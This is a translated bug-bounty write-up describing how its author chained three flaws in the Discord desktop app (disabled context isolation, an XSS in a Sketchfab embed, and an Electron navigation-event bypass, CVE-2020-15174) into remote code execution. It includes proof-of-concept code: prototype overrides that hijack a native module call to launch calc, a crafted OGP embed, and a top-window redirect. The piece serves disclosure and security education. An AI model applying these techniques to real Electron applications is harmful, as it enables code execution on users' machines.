如何利用三个漏洞组合达成Discord RCE漏洞

 

Discord桌面应用RCE漏洞

几个月之前,我挖掘出了Discord的一个RCE漏洞,并向他们的src报告了这个漏洞。

这次我找到的RCE漏洞比较有趣,因为这个漏洞是通过组合多个漏洞实现的。在本文中,我会分享该漏洞的挖掘细节。

注:Discord是一款专为社区设计的免费网络实时通话软件与数字发行平台,主要面向游戏玩家、教育人士及商业人士,用户之间可以在软体的聊天频道通过信息、图片、视频和音频进行互动。

 

为什么我选择Discord作为我的目标

一直以来,我对寻找基于Electron框架开发的应用程序(以下简称为Electron应用)的漏洞非常感兴趣。因此我会寻找有漏洞挖掘奖励计划的Electron应用作为我的目标,而这次我找到了Discord。另外,我也是Discord的用户,我也想检查一下这个应用程序是不是安全的。

注:Electron(原名为Atom Shell)是GitHub开发的一个开源软件框架。它允许使用Node.js(作为后端)和Chromium(作为前端)完成桌面GUI应用程序的开发

 

我找到的漏洞

我这次一个发现了三个漏洞,并将他们组合在一起达成了一个RCE漏洞

  1. contextisolation默认关闭缺陷
  2. iframe embeds中的XSS漏洞
  3. 功能禁用限制的绕过(CVE-2020-15174)

我将会一一解释这三个漏洞。

 

漏洞一:contextisolation默认关闭缺陷

当我对Electron应用进行测试时,我总会在第一时间检查BrowserWindow API的选项值,这个API用于创建和控制浏览器窗口。通过检查它的选项值,我可以判断在我拥有renderer上任意JS代码执行能力的情况下,能不能达成RCE利用条件。

Discord的Electron应用并不是开源项目,但是Electron的JS代码会以asar格式保存在本地,因此我可以提取并阅读它。

在主窗口中,它的选项值如下所示

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

值得关注的值是nodeIntegration和contextIsolation。从上面的代码看来,我们可以发现nodeIntegration选项的值为false,以及contextIsolation的值也被设置为false(默认值)。

如果nodeIntegration被设置为true,一个web页面的js可以通过调用require()轻松使用Node.js的特性。举个例子,通过下面的代码来弹出windows计算器

<script>
  require('child_process').exec('calc');
</script>

我们的目标启用了nodeIntegration,因此我们不能直接调用require()来使用Node.js的特性。

不过,我们仍然可以通过其他方法来使用Node.js的特性。显然,contextIsolation是一个关键的选项,它被设置为false。实际上,如果你想要消除你的app出现RCE漏洞的可能性,你就不应该设置该值为false。

在contextIsolation值设置为false的时候,一个普通web页面上的js代码可以通过preload的方式(预加载)影响到Electron内部renderer上的js代码执行。举个例子,如果你在一个web页面的js代码中重写了Array.prototype.join,这是一个js内置函数。当不在这个web页面内的js代码需要调用join时,实际上调用的时被重写后的函数。

这种特性是比较危险的,因为使得Electron可以通过重写函数的方法,在忽略nodeIntegration的情况下允许外部的js代码应用Node.js的特性。这使得RCE有可能在nodeIntegration被设置为false的情况下实现利用。

contextIsolation引入了上下文分离的特性,web页面的js代码和页面外的js代码之间是相互隔离的,代码执行效果不会互相影响。这个特性能够有效降低出现RCE漏洞的可能性,但这一次的Discor上被禁用了。

因为我发现contextIsolation被禁用了,因此我开始寻找一个可以通过影响web页面外的js来执行任意代码的地方。

通常,我在尝试编写Electron应用RCE的POC时,我首先会尝试使用Electron在renderer上的内部js代码来实现RCE。因为Electron在renderer内部的js代码可以在任意Electron应用上执行。
因此我只需要简单的重用一下之前编写过的RCE即可。

然而,在当前版本的Electron中,或者说在当前配置下,之前的POC没有办法成功运行。因此,这次我决定换一个地方来preload我们的攻击脚本。

我在尝试proload脚本时,我发现Discord暴露一个关键的函数,DiscordNative.nativeModules.requireModule('MODULE-NAME'),这个函数使得我们引入模块到web页面中。

在这里,我不能直接引入能够直接触发RCE的模块,比如child_process模块,但我发现通过重载js内置模块可以影响到引入模块的运行,从而达成RCE。

下面是PoC。getGPUDriverVersion函数在devTools中的模块discord_utils被定义,当PoC调用getGPUDriverVersions时,我们发现windows计算器成功被弹出。显然,我们通过RegExp.prototypeArray.prototype.join成功重载函数。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions函数尝试使用execa库运行某个程序时,如下所示

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

从上面的代码看来,通常execa尝试运行应用程序”nvidia-smi.exe”,也就是nvidiaSmipath的值。但是,通过我们上面所说的重载RegExp.prototype.testArray.prototype.join,将nvidiaSmiPath替换成calc,最终成功弹出计算器。

 

漏洞二:iframe embeds中的XSS漏洞

如上所述,我发现任意的JS代码执行都可能发生RCE,因此我试图找到一个XSS漏洞。在信息收集阶段,我发现该应用程序支持自动链接或Markdown特性。所以我把注意力转向iframe嵌入功能。例如,当YouTube URL被发布时,iframe嵌入的特性会自动在聊天中显示视频播放器。

但是,Discord会对你放入的URL进行校验,获取URL的OGP信息,只有当OGP信息符合要求时,Discord才会展示相关内容。

简单来说,这里的检验属于白名单校验,我们来观察以下能够通过检查的URL

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

显然,其中一些列表允许iframe嵌入(如YouTube, Twitch, Spotify)。我尝试通过在OGP信息中一个一个地指定域来检查URL是否可以嵌入到iframe中,并尝试在嵌入的域中找到XSS。经过一些尝试,我发现了sketchfab.com,它是CSP中列出的一个域,可以嵌入到iframe中,我在嵌入页面上找到XSS。我当时还不了解Sketchfab网站,它看起来是一个用户可以发布、购买和销售3D模型的平台。

下面是PoC,它具有精心设计的OGP。当我将这个URL发布到聊天框时,Sketchfab被嵌入到聊天中的iframe中,在iframe上单击几次后,就会执行任意的JS代码

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

最后我又找到了一个XSS,但是JavaScript仍然在iframe上执行。由于Electron不会将“web页面外部的JavaScript代码”加载到iframe中,因此即使我覆盖了iframe上的JavaScript内置方法,我也不能影响Node.js的关键部分。要实现RCE,我们需要跳出iframe,在顶层上下文中执行JavaScript。这需要从iframe打开一个新窗口,或者从iframe导航顶部窗口到另一个URL。

我查看了相关代码,发现主进程代码中使用“new-window”和“will- navigation”事件限制导航的代码:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

我本来以为这段代码把我寻找RCE的路封死了,它看起来毫无破绽,但是在测试的过程中我发现了有意思的东西。

 

漏洞三:功能禁用限制的绕过(CVE-2020-15174)

我认为代码写的没什么问题,但在我检查顶部导航在iframe中是否会被阻塞时,我却惊奇地发现,因为某些原因,导航并没有被阻塞。从代码来看,在导航发生之前,”will-navigation”事件应该会尝试捕获它,并被preventDefault()拒绝,但实际上没有。

我创建了一个小型Electron应用程序用来测试这个发现。我发现,由于某种原因,”will- navigation”事件没有从iframe开始的顶部导航中发出。确切地说,如果top的域和iframe的域在同一个域,事件就会被发出,但是如果它在不同的域,事件就不会被发出。我认为这应该是Electron的bug,并决定稍后向Electron报告。

在这个bug的帮助下,我最终成功绕过导航限制。我最后需要做的就是使用iframe的XSS漏洞导航到一个含有RCE代码的页面即可,比如说top.location=”//l0.cm/discord_calc.html”

最终,结合三个漏洞,我成功实现了RCE,下面是视频演示。

https://youtu.be/0f3RrvC-zGI

 

总结

我向Discord的src报告了漏洞。最终RCE漏洞获得5000美元的奖励,Sketchfab的XSS漏洞获得了300美元奖励。第三个漏洞”will-navigate”事件不能正常发出获得了一个CVE编号(CVE-2020-15174)。

 

参考

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

(完)